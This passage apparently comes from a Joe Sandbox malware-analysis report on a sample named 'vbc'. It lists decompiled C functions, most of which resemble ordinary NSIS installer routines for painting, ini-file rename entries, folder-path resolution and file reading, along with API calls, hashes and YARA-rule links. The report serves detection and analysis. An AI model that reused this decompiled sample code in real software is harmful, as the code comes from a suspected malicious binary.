					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, 0x433f00, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x434f08;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
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0x00401156
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0x00401165
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0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 15a6b7738402934ac822911e252168026e8f0364f08849f6e110b85e8bc9718e
Instruction ID: e457e53e67a16f607b198c8be77aa7e47a8fd9e6aa67a1a07366d16d1d2d9a76
Opcode Fuzzy Hash: 15a6b7738402934ac822911e252168026e8f0364f08849f6e110b85e8bc9718e
Instruction Fuzzy Hash: 0E418B71800209AFCF058FA5DE459AF7FB9FF44315F04802AF991AA1A0C738AA55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406183 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406183(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				WCHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x430908 = 0x55004e;
				 *0x43090c = 0x4c;
				if(_t44 == 0) {
					L3:
					_t12 = GetShortPathNameW( *(_t52 + 0x1c), 0x431108, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x430508, "%ls=%ls\r\n", 0x430908, 0x431108);
						_t53 = _t52 + 0x10;
						E0040657A(_t37, 0x400, 0x431108, 0x431108,  *((intOrPtr*)( *0x434f10 + 0x128)));
						_t12 = E0040602D(0x431108, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E004060B0(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E00405F92(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E00405F92(_t38, _t21 + 0xa, "\n[");
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00405FE8(_t24 + _t46, 0x430508, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E004060DF(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E0040602D(_t44, 0, 1));
					_t12 = GetShortPathNameW(_t44, 0x430908, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x00406183
0x0040618c
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0x00000000
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0x00000000
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0x00406234
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0x00000000
0x00000000
0x004061cb
0x004062fc

APIs

CloseHandle.KERNEL32(00000000), ref: 004061BE
GetShortPathNameW.KERNEL32 ref: 004061C7

Part of subcall function 00405F92: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA2
Part of subcall function 00405F92: lstrlenA.KERNEL32(00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD4

GetShortPathNameW.KERNEL32 ref: 004061E4
wsprintfA.USER32 ref: 00406202
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 0040623D
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 0040624C
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406284
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004062DA
GlobalFree.KERNEL32(00000000), ref: 004062EB
CloseHandle.KERNEL32(00000000), ref: 004062F2

Part of subcall function 0040602D: GetFileAttributesW.KERNELBASE(00000003,004030BD,00443800,80000000,00000003,?,?,?,?,?,0040387D,?), ref: 00406031
Part of subcall function 0040602D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406053

Strings

%ls=%ls, xrefs: 004061F8
[Rename], xrefs: 0040626C, 0040627E

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 6203cc16da91056e546519e3ab518561ff1c14b2742299aa71b9d8e7299f7fea
Instruction ID: 71978d88b6039f89b25a0dfa2ffa892efa56fbf884cfe692307f7793e751c739
Opcode Fuzzy Hash: 6203cc16da91056e546519e3ab518561ff1c14b2742299aa71b9d8e7299f7fea
Instruction Fuzzy Hash: 6A314670200716BBD2207B659D48F6B3A6CEF45754F15017EFA42F62C2EA3CA821867D

Uniqueness

Uniqueness Score: -1.00%

Function 0040657A Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 196
stringCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0040657A(void* __ebx, void* __edi, void* __esi, signed int _a4, short _a8) {
				struct _ITEMIDLIST* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t44;
				WCHAR* _t45;
				signed char _t47;
				signed int _t48;
				short _t59;
				short _t61;
				short _t63;
				void* _t71;
				signed int _t77;
				signed int _t78;
				short _t81;
				short _t82;
				signed char _t84;
				signed int _t85;
				void* _t98;
				void* _t104;
				intOrPtr* _t105;
				void* _t107;
				WCHAR* _t108;
				void* _t110;

				_t107 = __esi;
				_t104 = __edi;
				_t71 = __ebx;
				_t44 = _a8;
				if(_t44 < 0) {
					_t44 =  *( *0x433edc - 4 + _t44 * 4);
				}
				_push(_t71);
				_push(_t107);
				_push(_t104);
				_t105 =  *0x434f38 + _t44 * 2;
				_t45 = 0x432ea0;
				_t108 = 0x432ea0;
				if(_a4 >= 0x432ea0 && _a4 - 0x432ea0 >> 1 < 0x800) {
					_t108 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				_t81 =  *_t105;
				_a8 = _t81;
				if(_t81 == 0) {
					L43:
					 *_t108 =  *_t108 & 0x00000000;
					if(_a4 == 0) {
						return _t45;
					}
					return E0040653D(_a4, _t45);
				} else {
					while((_t108 - _t45 & 0xfffffffe) < 0x800) {
						_t98 = 2;
						_t105 = _t105 + _t98;
						if(_t81 >= 4) {
							if(__eflags != 0) {
								 *_t108 = _t81;
								_t108 = _t108 + _t98;
								__eflags = _t108;
							} else {
								 *_t108 =  *_t105;
								_t108 = _t108 + _t98;
								_t105 = _t105 + _t98;
							}
							L42:
							_t82 =  *_t105;
							_a8 = _t82;
							if(_t82 != 0) {
								_t81 = _a8;
								continue;
							}
							goto L43;
						}
						_t84 =  *((intOrPtr*)(_t105 + 1));
						_t47 =  *_t105;
						_t48 = _t47 & 0x000000ff;
						_v12 = (_t84 & 0x0000007f) << 0x00000007 | _t47 & 0x0000007f;
						_t85 = _t84 & 0x000000ff;
						_v28 = _t48 | 0x00008000;
						_t77 = 2;
						_v16 = _t85;
						_t105 = _t105 + _t77;
						_v24 = _t48;
						_v20 = _t85 | 0x00008000;
						if(_a8 != _t77) {
							__eflags = _a8 - 3;
							if(_a8 != 3) {
								__eflags = _a8 - 1;
								if(__eflags == 0) {
									__eflags = (_t48 | 0xffffffff) - _v12;
									E0040657A(_t77, _t105, _t108, _t108, (_t48 | 0xffffffff) - _v12);
								}
								L38:
								_t108 =  &(_t108[lstrlenW(_t108)]);
								_t45 = 0x432ea0;
								goto L42;
							}
							_t78 = _v12;
							__eflags = _t78 - 0x1d;
							if(_t78 != 0x1d) {
								__eflags = (_t78 << 0xb) + 0x436000;
								E0040653D(_t108, (_t78 << 0xb) + 0x436000);
							} else {
								E00406484(_t108,  *0x434f08);
							}
							__eflags = _t78 + 0xffffffeb - 7;
							if(__eflags < 0) {
								L29:
								E004067C4(_t108);
							}
							goto L38;
						}
						if( *0x434f84 != 0) {
							_t77 = 4;
						}
						_t121 = _t48;
						if(_t48 >= 0) {
							__eflags = _t48 - 0x25;
							if(_t48 != 0x25) {
								__eflags = _t48 - 0x24;
								if(_t48 == 0x24) {
									GetWindowsDirectoryW(_t108, 0x400);
									_t77 = 0;
								}
								while(1) {
									__eflags = _t77;
									if(_t77 == 0) {
										goto L26;
									}
									_t59 =  *0x434f04;
									_t77 = _t77 - 1;
									__eflags = _t59;
									if(_t59 == 0) {
										L22:
										_t61 = SHGetSpecialFolderLocation( *0x434f08,  *(_t110 + _t77 * 4 - 0x18),  &_v8);
										__eflags = _t61;
										if(_t61 != 0) {
											L24:
											 *_t108 =  *_t108 & 0x00000000;
											__eflags =  *_t108;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v8, _t108);
										_a8 = _t61;
										__imp__CoTaskMemFree(_v8);
										__eflags = _a8;
										if(_a8 != 0) {
											goto L26;
										}
										goto L24;
									}
									_t63 =  *_t59( *0x434f08,  *(_t110 + _t77 * 4 - 0x18), 0, 0, _t108);
									__eflags = _t63;
									if(_t63 == 0) {
										goto L26;
									}
									goto L22;
								}
								goto L26;
							}
							GetSystemDirectoryW(_t108, 0x400);
							goto L26;
						} else {
							E0040640B( *0x434f38, _t121, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x434f38 + (_t48 & 0x0000003f) * 2, _t108, _t48 & 0x00000040);
							if( *_t108 != 0) {
								L27:
								if(_v16 == 0x1a) {
									lstrcatW(_t108, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L29;
							}
							E0040657A(_t77, _t105, _t108, _t108, _v16);
							L26:
							if( *_t108 == 0) {
								goto L29;
							}
							goto L27;
						}
					}
					goto L43;
				}
			}

0x0040657a
0x0040657a
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0x00000000
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0x00000000
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0x00000000
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0x00000000
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0x00000000
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0x00406680
0x0040670d
0x00406711
0x00000000
0x00000000
0x00000000
0x00406711
0x0040664d
0x00000000
0x004065da

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00406695
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll,?,004055D6,Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll,00000000,00000000,00425A20,74EC110C), ref: 004066A8
lstrcatW.KERNEL32 ref: 0040671F
lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll,?,004055D6,Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll,00000000), ref: 00406779

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll, xrefs: 0040659F
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406719
Call, xrefs: 004065A4, 00406657, 0040665E, 00406662, 0040667F, 00406694, 004066A7, 004066BC, 004066E9, 0040671E, 00406724, 00406741, 00406754, 00406772, 00406778, 00406781, 004067B7
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406663

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Directory$SystemWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4260037668-2905448973
Opcode ID: 0b784a7e5946d1979f34278c46bba3f41134a9dae7c042527df4b3408295a3c8
Instruction ID: 685928b229c5d1fd60d609eb920d771e11fa4d776b5b66b0bad6c944a0f90ddf
Opcode Fuzzy Hash: 0b784a7e5946d1979f34278c46bba3f41134a9dae7c042527df4b3408295a3c8
Instruction Fuzzy Hash: 1D61D131900205EADB209F64DD80BAE77A5EF54318F22813BE907B72D0D77D99A1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00404500 Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404500(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x00404512
0x004045c8
0x00000000
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0x00000000
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0x00000000
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0x004045ad
0x004045b0
0x004045b0
0x004045c0
0x004045c0
0x00000000
0x004045c3

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040451D
GetSysColor.USER32 ref: 0040455B
SetTextColor.GDI32(?,00000000), ref: 00404567
SetBkMode.GDI32(?,?), ref: 00404573
GetSysColor.USER32 ref: 00404586
SetBkColor.GDI32(?,?), ref: 00404596
DeleteObject.GDI32(?), ref: 004045B0
CreateBrushIndirect.GDI32(?), ref: 004045BA

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction ID: 19446832cb8519ea1938040ed984131457e28e93d0b00b9b4dc42373f0e33a15
Opcode Fuzzy Hash: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction Fuzzy Hash: 382177B1500705AFCB31DF68DD08B5BBBF8AF41714B058A2EEA96B22E1C734E944CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004026EC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004026EC(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t72;
				void* _t76;
				void* _t79;

				_t72 = __edx;
				 *((intOrPtr*)(_t76 - 8)) = __ebx;
				_t65 = 2;
				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
				_t66 = E00402D84(_t65);
				_t79 = _t66 - 1;
				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
				if(_t79 < 0) {
					L36:
					 *0x434f88 =  *0x434f88 +  *(_t76 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *(__ebp - 0x44) = 0x3ff;
					}
					if( *__edi == __bx) {
						L34:
						__ecx =  *(__ebp - 0xc);
						__eax =  *(__ebp - 8);
						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
						if(_t79 == 0) {
							 *(_t76 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 0x38) = __ebx;
						 *(__ebp - 0x18) = E0040649D(__ecx, __edi);
						if( *(__ebp - 0x44) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E0040610E( *(__ebp - 0x18), __ebx) >= 0) {
										__eax = __ebp - 0x50;
										if(E004060B0( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x40;
									_push(__ebx);
									_push(__ebp - 0x40);
									__eax = 2;
									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??);
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x40);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x4c) = __ecx;
											 *(__ebp - 0x50) = __eax;
											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E00406484( *(__ebp - 0xc), __ax & 0x0000ffff);
											} else {
												__ebp - 0x50 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x50);
												} else {
													__edi =  *(__ebp - 0x4c);
													__edi =  ~( *(__ebp - 0x4c));
													while(1) {
														_t22 = __ebp - 0x40;
														 *_t22 =  *(__ebp - 0x40) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x50) = 0xfffd;
														if( *_t22 == 0) {
															goto L22;
														}
														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
														__edi = __edi + 1;
														SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1) = __ebp - 0x50;
														__eax = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0xc);
															__edx =  *(__ebp - 8);
															 *(__ebp - 8) =  *(__ebp - 8) + 1;
															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0xc);
														__edx =  *(__ebp - 8);
														 *(__ebp - 8) =  *(__ebp - 8) + 1;
														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														 *(__ebp - 0x38) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 8);
							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x004026ec
0x004026ee
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0x00000000
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0x00000000
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0x00000000
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0x00000000
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0x004027ae
0x004027bc
0x004027c2
0x004027d0
0x00000000
0x004027d2
0x00000000
0x004027d2
0x00000000
0x004027d0
0x0040279e
0x00402804
0x00402807
0x00000000
0x00402809
0x0040280e
0x0040284f
0x00402871
0x00402878
0x0040285d
0x0040285d
0x00402860
0x00402863
0x00402866
0x00402866
0x00000000
0x00402817
0x00402817
0x0040281a
0x0040281d
0x00402823
0x00402827
0x0040282a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040282a
0x0040280e
0x00402807
0x0040277f
0x0040276b
0x00402760
0x00000000
0x0040282c
0x0040282c
0x0040282f
0x00402838
0x00000000
0x0040272f
0x0040271a
0x00402c33
0x00402c39

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402758
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC

Part of subcall function 0040610E: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00406124

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878

Strings

9, xrefs: 0040273B

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 05ec9e9945247294569ed32eb70c3e484d87f4f0290394ce4997a83a7f1e58dd
Instruction ID: 36eba916602f65c1f8b814f2f26102ddc75cc08ed25eda7b441ea0696c55e726
Opcode Fuzzy Hash: 05ec9e9945247294569ed32eb70c3e484d87f4f0290394ce4997a83a7f1e58dd
Instruction Fuzzy Hash: C551E975D00219AADF20EF95CA89AAEBB79FF04304F10817BE541B62D4D7B49D82CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004067C4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004067C4(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405E83(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405E39(L"*?|<>/\":", _t5))) == 0) {
							E00405FE8(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x004067c6
0x004067cf
0x004067e6
0x004067e6
0x004067ed
0x004067f9
0x004067f9
